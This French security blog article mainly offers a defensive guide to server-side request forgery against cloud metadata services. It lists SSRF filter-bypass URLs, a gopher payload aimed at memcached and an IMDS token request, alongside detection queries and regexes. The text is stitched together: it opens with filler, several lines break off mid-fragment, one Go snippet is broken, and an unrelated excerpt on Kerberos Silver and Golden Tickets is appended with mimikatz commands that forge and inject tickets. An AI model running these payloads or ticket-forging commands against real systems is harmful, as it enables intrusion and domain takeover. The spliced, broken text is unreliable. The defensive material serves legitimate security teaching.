SSRF moderne (IMDSv2, gopher/file, : Guide Complet

Cet article constitue une ressource technique complete sur SSRF moderne (IMDSv2, gopher/file,, couvrant les fondamentaux theoriques, les aspects pratiques d'implementation et les considerations avancees pour les environnements de production. Les professionnels y trouveront des guides etape par etape, des exemples concrets et des recommandations issues de retours d'experience terrain. L'analyse integre les dernieres evolutions du domaine et propose des perspectives sur les tendances a suivre pour les mois a venir. Les bonnes pratiques presentees sont directement applicables et ont ete validees dans des contextes operationnels reels. Les implications de cette evolution pour le secteur sont multiples, touchant aussi bien les aspects techniques que les dimensions strategiques, reglementaires et organisationnelles des entreprises concernees. L'analyse des experts du domaine souligne l'importance d'une veille continue et d'une adaptation rapide des pratiques pour tirer parti des opportunites tout en maitrisant les risques associes a ces changements.

Cette analyse technique de SSRF moderne (IMDSv2, gopher/file, s'appuie sur les retours d'experience d'equipes confrontees quotidiennement aux defis operationnels du domaine. Les methodologies presentees couvrent l'ensemble du cycle de vie, de la conception initiale au deploiement en production, en passant par les phases de test et de validation. Les recommandations sont directement applicables dans les environnements professionnels.

Résumé exécutif

Les attaques Server-Side Request Forgery (SSRF) évoluent avec les architectures cloud et les microservices. Les attaquants exploitent des fonctionnalités de fetch côté serveur pour accéder à des ressources internes : metadata services (IMDSv2), endpoints internes, caches, Cloud Functions. Les vecteurs utilisent des schémas variés (http, gopher, file, dict) et tirent parti de subtilités dans les parsers URL, des redirections et de la mixité IPv4/IPv6. Cet article explore les caractéristiques des SSRF modernes, les scénarios de compromission (extraction secrets IMDSv2, pivot interne), et propose des stratégies de détection (SIEM, WAF) et de protection côté infrastructure et application. L’objectif est d’offrir un guide pratique aux équipes AppSec, cloud et SecOps. Cet article fournit une analyse technique approfondie et des recommandations pratiques pour les professionnels de la cybersecurite. Les concepts presentes sont issus de retours d'experience terrain et des meilleures pratiques du secteur. Les equipes techniques y trouveront des methodologies eprouvees, des outils recommandes et des strategies de mise en oeuvre adaptees aux environnements de production modernes. La maitrise de ces sujets est devenue incontournable dans le contexte actuel de menaces en constante evolution.

Comprendre la SSRF

La SSRF permet à un attaquant d’induire une application à effectuer des requêtes HTTP (ou autres protocoles) vers une destination choisie par l’attaquant, généralement interne. Objectifs :

• Lire des ressources internes (IMDS, Redis, memcached, admin consoles).
• Scanner le réseau interne.
• Déployer du code (via endpoints).
• Contourner l’authentification (SSO).

Combien de vos contrôles de sécurité ont été testés en conditions réelles cette année ?

SSRF & Cloud : IMDS

AWS IMDSv1/v2

• IMDS (Instance Metadata Service) accessible via http://169.254.169.254.
• IMDSv1 vulnérable aux SSRF simples (GET).
• IMDSv2 requiert token (PUT).

SSRF : attaquant obtient credentials IAM (/latest/meta-data/iam/security-credentials).

GCP Metadata

• http://metadata.google.internal/computeMetadata/v1.
• Requires header Metadata-Flavor: Google.

Azure Metadata

• http://169.254.169.254/metadata/instance. Header Metadata: true.

Countermeasures

• IMDSv2 only (enforce hop limit).
• Block metadata network via firewall (Security Group).
• Use VPC Proxy.
• IAM least privilege (limit token impact).

Protocol tricks et schémas alternatifs

• gopher:// pour craft raw HTTP (ex : POST).
• file:// pour lire fichiers (si autorisé).
• dict://, ftp://, sftp://, ldap://.
• IPv6 http://[::ffff:127.0.0.1].
• http://127.0.0.1@evil.
• http://0/ => 0.0.0.0.
• http://2130706433/ (decimal IPv4).
• http://longdomain.com.evil.com.
• http://localhost#@evil.com.

URL Parser Quirks

• Libraries (Python urllib, Java URL) diff behavior.
• Double encoding %252e%252e.
• // vs /.
• Internationalized domain (IDN).

SSRF via redirections

• App fetch , but allow redirect to internal.
• Need to validate final destination.

Votre processus de patch management couvre-t-il l'ensemble de votre parc applicatif ?

SSRF blind vs non-blind

• Non-blind : réponse visible (exfil).
• Blind : pas de réponse (ex : GET request). Fuites via DNS exfil (Burp Collaborator).

SSRF et caches/proxies internes

• Access memcached/Redis via SSRF -> remote code.
• Access internal admin panels (Jenkins, Kibana).
• Cloud metadata -> escalate.

Protections côté application

1. Allowlist de domaines : définir explicitement endpoints autorisés. 2. Blocage IP internes : 127.0.0.0/8, 169.254.0.0/16, ::1, etc. 3. Resolver custom : valider résolutions DNS (pas de redirection). 4. Timeouts & méthode : limiter méthodes (GET only). 5. Validation URL : utiliser parser sécurisé (ex : Node whatwg-url). 6. Désactiver schémas dangereux (file, gopher). 7. HTTP client : follow redirects? disable. 8. Proxy : forcing requests through security proxy.

Protections côté infrastructure

• WAF : signatures SSRF (AWS WAF, Cloudflare).
• Firewall : block metadata.
• Service mesh : policy egress (Istio).
• Network segmentation : isolate metadata via proxy.
• IMDS : enforce tokens, disable if unused.
• Logging : capture egress.

Détection & Logging

• App logs : capture URL requises.
• Proxy logs : destinations internes.
• SIEM rules : requests to metadata IP.
• CloudTrail: STS tokens unusual.

KQL Example

AppRequestLogs
| where DestinationIP in ('169.254.169.254','127.0.0.1','::1')
| summarize count() by ClientIP, User

CloudWatch

• Metric filter on VPC Flow Logs for metadata IP.

Zeek signatures

• detect HTTP Host 169.254.169.254.

Bypassing mitigations

• Hop-by-hop headers (X-Forwarded-For).
• DNS rebinding : attacker control domain -> resolves to internal.
• SSRF-chains (Open redirect -> internal).
• Outbound proxies (chaining).

Cloud-specific best practices

AWS

• IMDSv2 required.
• Instance profiles with least privilege.
• Use VPC endpoints for S3 (no public).
• AWS WAF rules for SSRF.
• GuardDuty detection (exfil).

Azure

• Azure Instance Metadata Service (IMDS) firewall.
• Managed Identities -> limit scope.
• Azure WAF + Front Door.

GCP

• imds headers required.
• VPC Service Controls.
• Cloud Armor rules.

Patterns de détection (SIEM)

• Surveiller HTTP 169.254.169.254.
• Requêtes sortantes hostnames local.
• Sequence: inbound request -> internal request -> response mismatch.

Tests & validation

• Tools : Burp Collaborator, SSRFmap, gf.
• Security tests : automate scanning.

Example test (curl)

curl -s -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -X PUT http://169.254.169.254/latest/api/token

Ensure failure outside instance.

Monitoring & alerting pipeline

Response playbook

1. Alert on SSRF attempt. 2. Identify app endpoint (source). 3. Review logs (URL). 4. Check IMDS access. 5. Rotate credentials (if stolen). 6. Patch validation. 7. Update WAF.

Case studies

Capital One breach (2019)

• WAF SSRF allowed access to IMDS.
• Attacker retrieved IAM creds -> S3 data exfil.
• Lessons: WAF configuration, IMDSv2, least privilege.

SSRF on GCP (2020)

• Attackers exploited Cloud Function to query metadata.
• Response: add Metadata-Flavor check.

Jenkins SSRF

• SSRF allowed to pivot to internal Stash. Mitigation: allowlist.

Tooling for devs

• Provide safe HTTP clients with built-in allowlist.
• Use service mesh egress control (Istio ServiceEntry).

DevSecOps integration

• SAST/DAST to detect unsafe URL usage.
• Code review checklist (no raw requests.get).
• Security champions.

Tests unitaires & fuzzing

• Unit tests for URL validation.
• Fuzz with ffuf for endpoints.

Observabilité egress

• Export metrics via Prometheus (httpclienttotal).
• Alert when dest = metadata IP.

Parser safe libs

• Golang net/url -> verify ResolveReference.
• Node url.parse -> new URL.
• Java URI, URL.

Multi-layer defense

• Input validation -> WAF -> network -> IAM -> monitoring. Defense-in-depth reduces risk.

SSRF dans microservices

• Sidecar (Istio) enforce egress.
• mTLS between services.
• Envoy filters.

Training & awareness

• Developers training (OWASP).
• Incident simulation.

Conclusion

La mitigation des SSRF modernes requiert une approche multi couches combinant validation côté application, contrôles réseau, configuration sécurisée des metadata services cloud, télémétrie et détection comportementale. En alignant DevSecOps et SecOps, en testant régulièrement les surfaces SSRF et en adoptant les protections natives des cloud providers, les organisations réduisent drastiquement la probabilité d’une compromission par SSRF et ses impacts.

Cartographie des surfaces SSRF

1. Fonctionnalités de fetch : prévisualisation d’URL, webhooks, import REST. 2. Conversion de fichiers : PDF, images (URL remote). 3. SSR (Server-Side Rendering) : Next.js, Angular Universal. 4. Webhooks entrants : Slack, GitHub (SSRF via JSON). 5. Service mesh : envoy filter misconfig. 6. Services backend : SOAP clients, microservices.

Realiser un inventaire : recenser endpoints acceptant URLs, analyser code (regex http).

Patterns d’exfiltration et de pivot

• Exfil : SSRF vers S3 pre-sign, SFTP interne.
• Pivot : SSRF -> Redis -> RCE.
• Cache poisoning : SSRF -> internal cache -> user data (AWS ALB).
• Exécution : SSRF -> API interne PUT /deploy.

Analyse des bypass IP/host

Bypass IP filters

• 0.0.0.0.
• Octal 0177.0.0.1.
• Hex 0x7f000001.
• 0000::ffff:127.1.
• localhost. (with dot).
• 127.1.

Bypass host allowlist

• bank.com.evil.com.
• bank.com%00.evil.com.
• subdomain + resolve to internal.
• DNS rebinding (attacker controls DNS).

Bypass scheme

• Mixed case HtTp.
• http:// -> https.
• Using \ vs /.

Défense via DNS

• Utiliser resolver interne (walled garden).
• Bloquer résolutions vers localhost & internal.
• DNS pre-resolution + comparison.

SSRF dans containers & Kubernetes

• Pod metadata: https://kubernetes.default.svc.
• Serviceaccount token accessible via filesystem, possible exfil.
• Mitigation : RBAC, NetworkPolicy, remove serviceaccount token automount.

SSRF et service meshes

• Istio egress policy par défaut permissive.
• Config Sidecar to restrict.
• Envoy Outbound cluster restrict.

Détails IMDSv2

• Token via PUT /latest/api/token.
• X-aws-ec2-metadata-token.
• Mitigation: set hop limit >=2 to prevent remote.
• Logging: CloudWatch? Not native, rely on host logs.

Intrication avec secrets management

• Even if IMDS credentials limited, might allow S3 read. -> Use Secrets Manager or IAM Roles with least privilege.

Tools detection & scanning

• Nuclei SSRF templates.
• Burp extensions (Collaborator).
• SSRFmap -> tests protocols.

Fuzzing SSRF

• Fuzz parameter with payload list (SecLists).
• Monitor DNS (Collaborator).

Observabilité (App)

• Structured logging: {
• Les logs doivent rester exploitables (pas trop verbeux). Utiliser des attributs clés : url, destinationip, validationresult, blocked.
• Correlation via trace ID (OpenTelemetry) permet de relier SSRF attempt à requête utilisateur.

WAF et détection réseau

• Signatures : patterns 169.254.169.254, metadata.google.internal, gopher://.
• Anomalies : Host header = local IP.
• Rate limiting sur endpoints fetch.
• Web Application Firewall (AWS WAF, Cloudflare) propose règles SSRF (block metadata).
• WAF custom : regex .169\.254\.169\.254..

Observabilité cloud

• GuardDuty détecte metadata access unusual.
• Azure Defender -> alert for suspicious metadata requests.
• GCP SCC -> metadata restrictions.

Developer guidelines

• Provide safe HTTP wrapper.
• Always parse & validate.
• Document best practices (OWASP SSRF cheat sheet).

Threat modeling

• During design, identify data flows.
• If service fetches remote content, evaluate threats.
• Add mitigations early (allowlist).

Example of safe implementation (Node.js)

const allowedHosts = ['api.partner.com'];
const url = new URL(inputUrl);
if (!allowedHosts.includes(url.hostname)) {
  throw new Error('Host not allowed');
}
const response = await fetch(url.toString(), { method: 'GET', timeout: 2000 });

Add DNS resolution check to avoid rebinding. Pour approfondir, consultez Cloud Forensics : Investigation AWS et Azure.

DNS rebinding defense

• Resolve host -> IP.
• Validate IP not private.
• After fetch, ensure response IP matches initial.
• Use dns.lookup with verbatim.
• Possibly maintain DNS allowlist with pinned IPs.

Red team / purple team tests

• Use Burp Collaborator to detect blind SSRF.
• Test gopher payloads: gopher://127.0.0.1:11211/stats.
• Evaluate ability to reach metadata.

Continuous monitoring & metrics

• Number of SSRF attempts blocked.
• Latency due to validation.
• Coverage of safe HTTP usage.

SLO/SLA

• Provide SLO for security functions (validation).

Machine learning detection

• Use anomaly detection on egress logs : features destination, time, method.
• Implement supervised model (SSRF vs legitimate).
• Data pipeline with Spark.

Attack surface reduction dans cloud-native

• Use AWS Nitro security (IMDSv2).
• For Lambda, disable outbound internet (use VPC).
• For containers, disable CAPNETRAW.

Post-exploitation

• If SSRF succeeded, check IAM logs (CloudTrail) for unusual STS.
• Rotate keys.
• For internal endpoints, run vulnerability scan.

Documentation & runbooks

• Maintain wiki with guidelines.
• Provide templates for safe fetch functions.

Compliance & audits

• SOC2/ISO: document SSRF mitigations.
• Provide evidence (logs, policies).

KPIs & reporting

• Dashboard to CISO: SSRF attempts, blocked vs allowed, time to remediate vulnerabilities.

Roadmap de maturité

1. Phase 1 : inventaire endpoints, patch obvious SSRF, WAF rules. 2. Phase 2 : IMDSv2, network segmentation, logging. 3. Phase 3 : safe libs, service mesh egress, automation scans. 4. Phase 4 : ML detection, zero trust network, automated remediation.

Tests automatisés CI/CD

• Pipeline inclut curl tests vers metadata -> must fail.
• SAST rules (Semgrep).
• DAST (Burp) in staging.

Semgrep rule example

rules:
  - id: ssrf-unvalidated-url
    pattern: |
      $FUNC($URL)
    message: "Unvalidated URL fetch"
    languages: [python]
    severity: WARNING
    metadata:
      references: ["https://owasp.org/www-community/attacks/ServerSideRequestForgery"]
    pattern-not: |
      $FUNC(validateurl($URL))

Observabilité microservices

• Use ServiceEntry (Istio) to declare allowed egress.
• NetworkPolicy (Kubernetes) to block metadata IP.
• Logging via Envoy (access logs).

Additional case studies

SSRF to Redis (2018)

• App with URL preview allowed access to redis://. Attackers executed commands to write cron job -> RCE. Mitigation: protocol allowlist, disable inline commands.

Shopify SSRF bug bounty

• Researcher exploited URL parser to access internal admin. Awarded bug bounty. Shopify implemented allowlist & extra validation.

Google Cloud Run (2020)

• SSRF allowed metadata access; but header requirement prevented. Reinforces need for metadata headers.

Table résumé mitigations

| Vecteur | Mitigation principale | Complément | |---------|----------------------|------------| | IMDS | IMDSv2 only, firewall | IAM least privilege | | Localhost | IP blocklist, allowlist | DNS resolution check | | gopher | disable protocol | WAF detection | | Redirection | Validate final host | No-follow redirects | | DNS rebinding | pinned IP, re-resolution | Accept only static endpoints |

Conclusion élargie

Annexes avancées

Liste d’IP privées à bloquer

• IPv4 :

func validateURL(raw string) error {
    u, err := url.Parse(raw)
    if err != nil {
        return err
    }
    if u.Scheme != "https" {
        return fmt.Errorf("scheme not allowed")
    }
    ips, err := net.LookupIP(u.Hostname())
    if err != nil {
        return err
    }
    for , ip := range ips {
        if isPrivate(ip) {
            return fmt.Errorf("IP %s not allowed", ip)
        }
    }
    return nil
}

AzureDiagnostics
| where Category == "ApplicationGatewayAccessLog"
| where requestUris has "169.254.169.254"
| summarize count() by clientIPs, requestUris, bin(TimeGenerated, 1h)

(http.request.uri contains "169.254.169.254") or (http.request.full

Output sanitization

• For blind SSRF detection, use out-of-band (burp).
• Devs should log blocked requests with hashed user ID.

SSRF dans GraphQL

• GraphQL resolvers fetch remote resources.
• Need to validate arguments.
• GraphQL introspection -> identify fields.

SSRF dans PDF rendering

• Libraries (wkhtmltopdf) fetch remote images. Configure --disable-local-file-access and --restricted.

SSRF dans image processing

• ImageMagick convert can fetch remote. Use policy.xml rights="None" for HTTP.

Table matrice MITRE ATT&CK

| MITRE Technique | Description | Control | |-----------------|-------------|---------| | T1190 | Exploit Public-Facing Application | WAF, patching | | T1199 | Trusted Relationship | Validate webhooks | | T1078 | Valid Accounts | IAM least privilege | | T1557 | Adversary in the Middle | Metadata intercept |

KPI overlay

• # SSRF vulnerabilities found via SAST.
• Time to remediate.
• Coverage of Unit tests.

Documentation templates

• SSRF risk register entry.
• Playbook instructions.

Deep dive: URL parser bugs

• Go <1.17 double slash bug.
• JavaSSRF -> URL vs URI mismatch.
• Node url.parse vs new URL.
• Provide patch matrix.

Observabilité réseau (Zeek)

• Create script to log metadata access.
• Example: if (aggressive && c$http$host == "169.254.169.254").

Integration with secrets detection

• Monitor CloudTrail: new STS tokens used outside expected region.
• GuardDuty UnauthorizedAccess:IAMUser/SuccessfulUnusual.

Engagement Red Team

• Provide sanitized STS credentials to test.
• Evaluate detection pipeline.

Blue Team hunts

• Query logs for X-aws-ec2-metadata-token.
• Loock for unusual User-Agent on metadata request.

Developer training module

• 1h workshop covering SSRF.
• Live coding of safe wrappers.
• Exercises with OWASP Juice Shop.

Runbook de response (détail)

1. Receive alert (SIEM). 2. Check request logs - identify user, source IP. 3. Inspect WAF logs for payload. 4. Determine if IMDS accessed. 5. If yes, rotate IAM role, audit CloudTrail. 6. Block offending IP (temporary). 7. Patch application (validate input). 8. Conduct post-incident review.

Governance & roles

• AppSec: policy, code review.
• DevOps: network controls.
• SecOps: detection, response.
• Cloud platform: IMDS setting.

Integration with Policy-as-code

• OPA Gatekeeper: ensure NetworkPolicy forbids metadata.
• Terraform sentinel: block instancemetadataoptions.httptokens = optional.

Observabilité via service mesh

• Istio Telemetry v2 -> access logs.
• Create EnvoyFilter to block metadata cluster.
• Use AuthorizationPolicy to restrict egress.

Logging best practices

• Avoid logging full URL if sensitive -> use hashing.
• Keep necessary metadata for detection.

Tools open source pour mitigation

• ZAP SSRF plugin.
• Safeurl libs (Go).
• SSRFGuard.

SSRF & API Security

• API that accepts targeturl. Validate with API Gateway.
• Use API Gateway mapping to enforce allowlist.

Cloud provider services

• AWS AppSync, StepFunctions -> ensure integration patterns not expose SSRF.
• Azure Logic Apps -> connectors.

Posture management

• Use CSPM to check IMDS settings.
• AWS Config rule ec2-instance-metadata-options.

Residual risks

• SSRF detection may miss novel protocols.
• Zero-day parser bug.

Mitigate via layered defense, continuous monitoring.

Future research

• HTTP/3 SSRF detection.
• Memory-safe languages reduce bugs (Rust).
• Automatic formal verification of URL validation.

Conclusion finale renforcée

Tableaux et visualisations

• Heatmap : endpoints vs nombre d’essais SSRF.
• Timeline : incidents SSRF par mois.
• Pie chart : schémas détectés (gopher, http, file).
• Sankey : flux SSRF -> ressources ciblées -> impact.

Exemple de livrable de revue de code

• Liste des points d’entrée (files, line numbers).
• Validation existante (allowlist?).
• Recommandations.
• Priorité.

Alignement avec frameworks OWASP

• OWASP SSRF Prevention Cheat Sheet.
• OWASP Top 10 (A10:2021 Server-Side Request Forgery).

SSRF & secrets pipeline

• Pipeline CI/CD doit injecter secrets via vault; SSRF qui obtient token -> limit TTL.
• Rotate tokens frequently.

Automated policy enforcement

• Use Pre-commit hook to forbid requests.get without wrapper.
• eslint rule (JavaScript).

SSRF detection in logs via regex

pattern = r"169\.254\.169\.254|metadata\.google\.internal|gopher://|file://"

MIG (Managed Instance Group) scripts

• Setup iptables dropping metadata IP for specific workloads.
• Use cloud-init.

CloudFront / CDN considerations

• If application behind CDN, ensure mitigation near origin too.

SRE involvement

• Runbooks for SSRF (monitoring).
• SLO impact (error rate).

Observability with Grafana

• Dashboard: ssrfattempts gauge.
• Alert when > threshold.

Metrics for detection models

• Precision, recall, F1.
• Cost matrix (false negative > false positive).

Data retention strategy

• Keep logs 1 an pour audits.
• Anonymize per compliance.

Communication plan

• When SSRF vulnerability found, inform product owner, schedule fix.

Integration with bug bounty

• Scope include SSRF.
• Provide safe endpoints for testing.
• Response SLA < 7 jours.

TTP adversaires

• FIN6, APT41 exploit SSRF via cloud.
• Cloud pentest frameworks (Pacu).

Example detection story (Azure)

• Azure Sentinel detects metadata request.
• Playbook revokes MSI tokens.
• Azure Policy ensures IMDS: HTTP Tokens required.

Blue team cheat sheet

• Quick commands: grep -R

Annexes complémentaires

Liste d’audit pour revue SSRF

1. L’application accepte-t-elle des URLs en entrée ? 2. Utilise-t-elle une allowlist stricte ? 3. Les schémas sont-ils restreints (https uniquement) ? 4. La résolution DNS est-elle vérifiée pour éviter les IP internes ? 5. Les redirections sont-elles bloquées ou validées ? 6. Les réponses sont-elles inspectées/sanitized ? 7. Les credentials IAM accessibles via IMDS ont-ils besoin d’un large scope ? 8. Les logs capturent-ils les détections/blocks ? 9. Les tests automatisés existent-ils ? 10. Des runbooks de réponse sont-ils définis ?

Questions de threat modeling à poser

• Quels services l’application contacte-t-elle ?
• Quels types de données peuvent être récupérés via SSRF ?
• Quels privilèges auraient les credentials volés ?
• Quelles seraient les conséquences réseau (pivot) ?
• Quelles mesures compensatoires existent ?

Processus d’onboarding security

• Lors du lancement d’un nouveau service, intégrer SSRF dans la checklist go-live.
• Revue AppSec obligatoire.
• Tests automatisés sur l’environnement de staging.

Gouvernance cloud

• Utiliser AWS Organizations pour appliquer Service Control Policies interdisant les IAM policies trop permissives.
• Azure Policy pour forcer IMDS headers.

Observabilité multi-tenant

• Dans architectures multi-tenant, isoler logs par client pour investigation.
• Détecter SSRF par tenant -> signaler via portail.

Education continue

• Newsletter sécurité mensuelle avec SSRF case studies.
• Sessions capture the flag (SSRF challenges).

KPIs additionnels

• % endpoints ayant tests SSRF.
• Taux de faux positifs detection.
• Nombre d’alertes traitées par quart.

Intégration SASE

• Politique SASE : SASE inspecte egress, block IP internes.
• Remote workers bénéficient same rules.

Log pipeline résilient

• Utiliser Fluent Bit -> Kafka -> Elastic.
• S’assurer redondance.

Alignement risques

• Cartographier SSRF dans risk register (probabilité, impact, contrôles).
• Présenter aux comités risques.

Support production

• Outiller support pour reconnaitre anomalies SSRF (erreurs 403).

Validation des dépendances

• Audit libs HTTP (curl, Axios).
• Patcher versions vulnérables.

Observabilité côté clients HTTP

• Exposer métriques : ssrfblockedcount, allowedrequests.

Use case detection ML

1. Données : 6 mois logs. 2. Labelling via heuristics. 3. Model XGBoost. 4. Déploiement -> streaming. 5. Feedback via analystes -> active learning.

Workflow de correction

• Ticket JIRA (SSC).
• Priorité haute.
• Fix includes tests.

Collaboration avec product management

• Evaluer l’impact business d’une allowlist stricte.
• Communiquer limites (ex pas possible de fetch n’importe quel site).

Archi Zero Trust

• Identity aware proxy pour toutes sorties.
• Policy based on service identity.

SSRF et IA générative

• Si LLM appelle ressources via URL, même problématique (validate!).

Observabilité temps réel

• Stream logs vers Azure Event Hub.
• Process via Azure Stream Analytics.

Table de mapping controls vs exigences

| Contrôle | Description | Couverture | Evidence | |----------|-------------|-----------|----------| | Allowlist | Liste de domaines approuvés | 100% | config repo | | IMDSv2 enforced | Instances production | 95% | AWS Config reports | | WAF SSRF rule | Actif | 100% | WAF console | | Logging | App logs centralisés | 100% | SIEM dashboards | Pour approfondir, consultez UEFI Bootkits et Attaques sur le Firmware : Persistance Avancée.

Futurs investissements

• Développer un SDK sécurité standard pour HTTP.
• Accroître l’usage de service mesh.
• Implémenter analyses ML plus fines.

Résumé final

SSRF reste l’un des vecteurs les plus critiques dans les environnements cloud et microservices. Une stratégie efficace combine :

• Prévention : validations robustes, allowlists, protocole restreint, désactivation de redirections.
• Protection cloud : IMDSv2, segmentation, service mesh, politiques IAM minimales.
• Détection : logging détaillé, SIEM, WAF, analytics comportementales.
• Réponse : runbooks, rotation de secrets, post-mortems blameless.
• Culture : formation, guidelines, DevSecOps.

En maintenant ce cycle de prévention/détection/réponse, les organisations réduisent drastiquement le risque SSRF.

La vigilance continue, le suivi des tendances et l’amélioration permanente des contrôles garantissent que les applications resteront résilientes face aux nouvelles variantes SSRF. L’adoption d’outils partagés, la revue régulière des métriques et la coordination entre équipes cloud, AppSec et SecOps demeurent essentielles pour conserver cette posture de sécurité. Ajouter, tester, itérer, partager, répéter. Sécurité.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

Copyright Ayi NEDJIMI Consultants Pour approfondir, consultez OAuth 2.1 : Nouvelles Protections et Migration.